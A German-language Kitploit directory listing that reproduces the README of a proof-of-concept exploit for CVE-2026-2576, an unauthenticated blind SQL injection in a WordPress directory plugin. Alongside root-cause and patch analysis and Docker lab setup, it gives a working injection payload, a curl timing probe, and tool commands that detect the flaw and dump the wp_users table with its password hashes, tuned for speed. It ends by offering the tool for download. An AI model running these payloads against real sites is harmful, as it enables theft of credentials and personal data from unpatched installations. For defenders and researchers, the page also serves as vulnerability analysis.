Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE_2026_2576_PoC — CVE-2026-2576 — Business Directory Plugin SQLi PoC (Lokale Einrichtung). Nicht authentifizierte zeitbasierte Blind-SQL-Injection im Business Directory Plugin für WordPress ≤ 6.4.21 | Kitploit
Tools/GitHubGitHub/sowatkheang/cve_2026_2576_poc
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungLabs & Praxis
GitHubsowatkheang/cve_2026_2576_poc

CVE_2026_2576_PoC

CVE-2026-2576 — Business Directory Plugin SQLi PoC (Lokale Einrichtung). Nicht authentifizierte zeitbasierte Blind-SQL-Injection im Business Directory Plugin für WordPress ≤ 6.4.21

Repository anzeigen
251vor 5 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-2576 — Business Directory Plugin SQLi PoC

Unauthentifizierte zeitbasierte Blind-SQL-Injection
Business Directory Plugin für WordPress ≤ 6.4.21


Inhaltsverzeichnis

  • Überblick über die Schwachstelle
  • Technische Analyse
  • Lab-Anforderungen
  • Lab-Einrichtung
  • Ausführen des PoC
  • Erwartete Ausgabe
  • Patch-Analyse
  • Referenzen
  • Haftungsausschluss

Überblick über die Schwachstelle

FeldDetail
CVECVE-2026-2576
PluginBusiness Directory Plugin – Easy Listing Directories für WordPress
Anbieterstrategy11team
BetroffenAlle Versionen ≤ 6.4.21
Gepatcht6.4.22
TypZeitbasierte Blind-SQL-Injection (CWE-89)
AuthentifizierungKeine — vollständig ohne Authentifizierung
CVSS7.5 (NVD) / 9.3 (Wordfence)
VektorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
ZuweiserWordfence (CNA) — d8ec7d25-1574-416c-b5fd-3a71b1cc09d2
Offengelegt18. Februar 2026

Das Business Directory Plugin ist ein weit verbreitetes WordPress-Plugin zum Erstellen von Listing-Verzeichnissen mit Zahlungsunterstützung. Ein Fehler in seinem ORM-Query-Builder ermöglicht es einem nicht authentifizierten Angreifer, eine zeitbasierte Blind-SQL-Injection über den payment-Abfrageparameter durchzuführen, wodurch der Inhalt der Datenbank abgeleitet werden kann.


Technische Analyse

Grundursache

Die Schwachstelle befindet sich im ORM-Query-Builder:

Datei: includes/db/class-db-query-set.php — filter_args()

root@kitploit:~
private function filter_args( $args ) {
    $filters = array();

    foreach ( $args as $f => $v ) {
        $op = '=';
        // ...

        if ( is_array( $v ) ) {
            // ❌ VERWUNDBAR — keine Bereinigung, direkte String-Verkettung
            $filters[] = "$f IN ('" . implode( "','", $v ) . "')";
        } else {
            // ✓ Sicher — verwendet $wpdb->prepare()
            $filters[] = $this->db->prepare( "$f $op %s", $v );
        }
    }

    return $filters;
}

Wenn $v ein Skalar ist, verwendet der Code korrekt $wpdb->prepare(). Wenn $v ein Array ist, fällt er in den unsicheren Zweig und verkettet die Werte direkt in den SQL-String ohne Escape.

Auslöser

Der Checkout-Controller (includes/controllers/pages/class-checkout.php) liest den payment-Anfrageparameter und übergibt ihn an das ORM:

root@kitploit:~
// class-checkout.php :: fetch_payment()
$payment_id = wpbdp_get_var( array( 'param' => 'payment' ), 'request' );
if ( ! $this->payment_id && ! empty( $payment_id ) ) {
    $this->payment = WPBDP_Payment::objects()->get(
        array( 'payment_key' => $payment_id )  // $payment_id als Wert übergeben
    );
}

PHP konvertiert automatisch payment[]=value in der Abfragezeichenfolge in ein Array $_GET['payment'] = ['value']. Dadurch wird $v in filter_args() zu einem Array, das den unsicheren Zweig trifft.

Injektionsablauf

root@kitploit:~
GET /?page_id=4&wpbdp_view=checkout&payment[]=<payload>

  PHP: $_REQUEST['payment'] = ['<payload>']   ← Array durch []-Notation
                    |
                    v
  class-checkout.php: fetch_payment()
                    |
                    v
  WPBDP_Payment::objects()->get(['payment_key' => ['<payload>']])
                    |
                    v
  class-db-query-set.php: filter_args()
      => is_array($v) == TRUE → unsicherer Zweig
      => "$f IN ('" . implode("','", $v) . "')"
                    |
                    v
  MySQL: SELECT * FROM wp_wpbdp_payments
         WHERE payment_key IN ('<payload>')

Injektions-Payload

root@kitploit:~
payment[]=<key>') AND IF((<condition>),SLEEP(N),0)-- -

Generiertes SQL:

root@kitploit:~
SELECT * FROM wp_wpbdp_payments
WHERE payment_key IN ('<key>') AND IF((<condition>),SLEEP(N),0)-- -')

Das -- - kommentiert das abschließende ') aus. Das IF() erzeugt ein boolesches Orakel: Wenn die Bedingung TRUE ist, wird SLEEP(N) ausgelöst und die Antwort verzögert; bei FALSE erfolgt die Antwort sofort.

Hinweis: Das ORM führt die Abfrage zweimal pro Anfrage aus (einmal in get(), einmal in maybe_execute_query()), sodass ein SLEEP(1)-Payload eine beobachtbare Verzögerung von ~2 Sekunden erzeugt und SLEEP(2) ~4 Sekunden.

Auswirkungen

Ein nicht authentifizierter Angreifer kann Datenbankinhalte Zeichen für Zeichen durch zeitbasierte Antworten ableiten und extrahieren, einschließlich:

  • WordPress-Benutzertabelle (wp_users), Benutzernamen, E-Mail-Adressen, Passwort-Hashes
  • Plugin-Zahlungsdatensätze, Transaktionsdaten, Listing-Besitzerdetails
  • Jede andere Tabelle, auf die der DB-Benutzer zugreifen kann

Patch

Der Fix in Version 6.4.22 fügt dem Array-Zweig von filter_args() eine Bereinigung hinzu:

root@kitploit:~
// VORHER (verwundbar)
$filters[] = "$f IN ('" . implode( "','", $v ) . "')";

// NACHHER (gepatcht)
$escaped   = array_map( array( $this->db, 'esc_sql' ), $v );
$filters[] = "$f IN ('" . implode( "','", $escaped ) . "')";

Lab-Anforderungen

  • Docker + Docker Compose (v2)
  • Python 3.9+
  • Kali Linux oder ein beliebiger Linux-Host
  • Internetzugang (zum Abrufen von Docker-Images und Herunterladen des Plugins)

Python-Abhängigkeiten installieren:

root@kitploit:~
pip3 install requests colorama --break-system-packages

Lab-Einrichtung

Schritt 1: Lab-Verzeichnis klonen oder erstellen

root@kitploit:~
cve-2026-2576-lab/
┣ 📂poc
┃ ┣ 📜patch_diff.py
┃ ┗ 📜poc.py
┣ 📜.gitignore
┣ 📜docker-compose.yml
┣ 📜init-db.sql
┣ 📜README.md
┣ 📜setup.sh
┗ 📜uploads.ini

Schritt 2: Den vollständigen Stack starten

root@kitploit:~
cd cve-2026-2576-lab
docker compose up -d --build

Schritt 3: Installer ausführen und auf Abschluss warten

root@kitploit:~
docker compose up setup

Warten, bis Folgendes angezeigt wird:

root@kitploit:~
╔══════════════════════════════════════════════════════════╗
║           Lab-Einrichtung abgeschlossen!                 ║
╠══════════════════════════════════════════════════════════╣
║  WordPress:   http://localhost:8080                      ║
║  WP-Admin:    http://localhost:8080/wp-admin             ║
║  phpMyAdmin:  http://localhost:8082                      ║
╠══════════════════════════════════════════════════════════╣
║  admin / admin123                                        ║
║  victim / victimpass123                                  ║
╠══════════════════════════════════════════════════════════╣
║  Plugin: 6.4.21 (VERWUNDBAR)                             ║
║  BD-Seiten-ID: 4                                         ║
╚══════════════════════════════════════════════════════════╝

Schritt 4: Verwundbare Plugin-Version bestätigen

root@kitploit:~
docker exec lab_wordpress bash -c \
  "grep 'Version:' /var/www/html/wp-content/plugins/business-directory-plugin/business-directory-plugin.php \
  | head -1"
# Erwartet: * Version: 6.4.21

Schritt 5: Den echten payment_key aus der Datenbank abrufen

root@kitploit:~
docker exec lab_mysql mysql -uwpuser -pwppass wordpress -e "SELECT id, payment_key, status FROM wp_wpbdp_payments;"
root@kitploit:~
+----+--------------+---------+
| id | payment_key  | status  |
+----+--------------+---------+
|  1 | seed-pay-001 | pending |
+----+--------------+---------+

Schritt 6: phpMyAdmin starten (optional, zur DB-Inspektion)

root@kitploit:~
docker compose up -d pma
# Zugriff unter http://localhost:8082  (root / rootpass)

Ausführen des PoC

Alle Befehle werden vom Lab-Stammverzeichnis auf Ihrem Kali-Host ausgeführt. Verwenden Sie http://localhost:8080 (Host → Docker-Portzuordnung). Der payment_key muss einer vorhandenen Zeile in wp_wpbdp_payments entsprechen.

Erkennen: Injektion bestätigen

root@kitploit:~
python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --detect

Erwartet: INJECTION CONFIRMED ✓ (2.03s ≈ 1s × 2 ORM-Ausführungen)

Alt-Text

Extrahieren: Datenbankname, Version, Benutzer

root@kitploit:~
python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --extract-db

Alt-Text

Auflisten: Alle Tabellen in der Datenbank

root@kitploit:~
python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --tables

Dump: WordPress-Benutzertabelle (Passwort-Hashes)

root@kitploit:~
python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --dump-table wp_users

Dump: Benutzerdefinierte Tabelle (gesetzte Geheimnisse)

root@kitploit:~
python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --dump-table lab_secrets

Extraktion benutzerdefinierter SQL-Ausdrücke

root@kitploit:~
python3 poc/poc.py --target http://localhost:8080 --page-id 4  --payment-key seed-pay-001 --custom-sql "SELECT secret_value FROM lab_secrets WHERE label='flag'"  

Geschwindigkeitsoptimierung

FlagStandardHinweise
--sleep N1SLEEP(N) pro Orakel. TRUE ≈ N×2s. Niedriger = schneller, lauter
--threads N4Parallele Zeichenpositionen. 8 funktioniert gut auf moderner Hardware
root@kitploit:~
# Schnellste Extraktion
python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --dump-table wp_users --sleep 1 --threads 8

Manuelle curl-Überprüfung

root@kitploit:~
# Basislinie: sollte in < 0.1s zurückkehren
time curl -s -o /dev/null "http://localhost:8080/?page_id=4&wpbdp_view=checkout&payment[]=seed-pay-001"

# Sleep-Probe: sollte in ~4s zurückkehren (SLEEP(2) × 2 Ausführungen)
time curl -s -o /dev/null "http://localhost:8080/?page_id=4&wpbdp_view=checkout&payment[]=$(python3 -c "import urllib.parse; print(urllib.parse.quote(\"seed-pay-001') AND SLEEP(2)-- -\"))")" 


Patch-Analyse

Um die verwundbare Version gegen die gepatchte Version zu diffen:

root@kitploit:~
python3 poc/patch_diff.py 

# Für vollständigen Diff
python3 poc/patch_diff.py --full
  • Oder manueller Download
root@kitploit:~
# Beide Versionen herunterladen
svn export https://plugins.svn.wordpress.org/business-directory-plugin/tags/6.4.21/ /tmp/v6421
svn export https://plugins.svn.wordpress.org/business-directory-plugin/tags/6.4.22/ /tmp/v6422

# Die verwundbare Datei diffen
diff -u /tmp/v6421/includes/db/class-db-query-set.php /tmp/v6422/includes/db/class-db-query-set.php

Der Diff zeigt esc_sql(), das dem Array-Zweig in filter_args() hinzugefügt wurde.


Lab-Verwaltung

root@kitploit:~
# Lab stoppen (Daten bleiben erhalten)
docker compose stop

# Neu starten
docker compose start

# Vollständiger Abbau — zerstört alle Volumes und Daten
docker compose down -v

# Setup von Grund auf erneut ausführen
docker compose down -v && docker compose up setup

# Shell im WordPress-Container öffnen
docker exec -it lab_wordpress bash

# WordPress-PHP-Fehlerprotokoll anzeigen
docker exec lab_wordpress tail -f /var/www/html/wp-content/debug.log

# MySQL-Abfrageprotokoll in Echtzeit beobachten
docker exec lab_mysql mysql -uroot -prootpass -e "SET GLOBAL general_log=1; SET GLOBAL general_log_file='/tmp/mysql.log';"

docker exec lab_mysql tail -f /tmp/mysql.log

Referenzen

  • Wordfence Advisory — https://www.wordfence.com/threat-intel/vulnerabilities/id/d8ec7d25-1574-416c-b5fd-3a71b1cc09d2
  • NVD-Eintrag — https://nvd.nist.gov/vuln/detail/CVE-2026-2576
  • WordPress-Plugin-Seite — https://wordpress.org/plugins/business-directory-plugin/
  • WordPress-Plugin-SVN — https://plugins.svn.wordpress.org/business-directory-plugin/
  • OWASP: SQL Injection — https://owasp.org/www-community/attacks/SQL_Injection
  • CWE-89 — https://cwe.mitre.org/data/definitions/89.html
  • WordPress $wpdb->prepare()-Dokumentation — https://developer.wordpress.org/reference/classes/wpdb/prepare/

Haftungsausschluss

Dieses Repository ist ausschließlich für autorisierte Sicherheitsforschung und Bildungszwecke bestimmt. Alle Tests wurden in einer isolierten lokalen Lab-Umgebung durchgeführt. Führen Sie dieses Tool niemals gegen Systeme aus, die Sie nicht besitzen oder für die Sie keine ausdrückliche schriftliche Genehmigung zum Testen haben. Unbefugter Zugriff auf Computersysteme ist gemäß dem Computer Fraud and Abuse Act (CFAA) und entsprechenden Gesetzen in anderen Rechtsordnungen illegal.

Der Autor übernimmt keine Haftung für Missbrauch dieses Materials. Befolgen Sie stets verantwortungsvolle Offenlegungspraktiken — wenn Sie neue Erkenntnisse auf der Grundlage dieser Forschung entdecken, koordinieren Sie sich vor der Veröffentlichung mit dem Anbieter.


Erforscht und entwickelt in einem isolierten Docker-Lab auf Kali Linux.

Tool herunterladen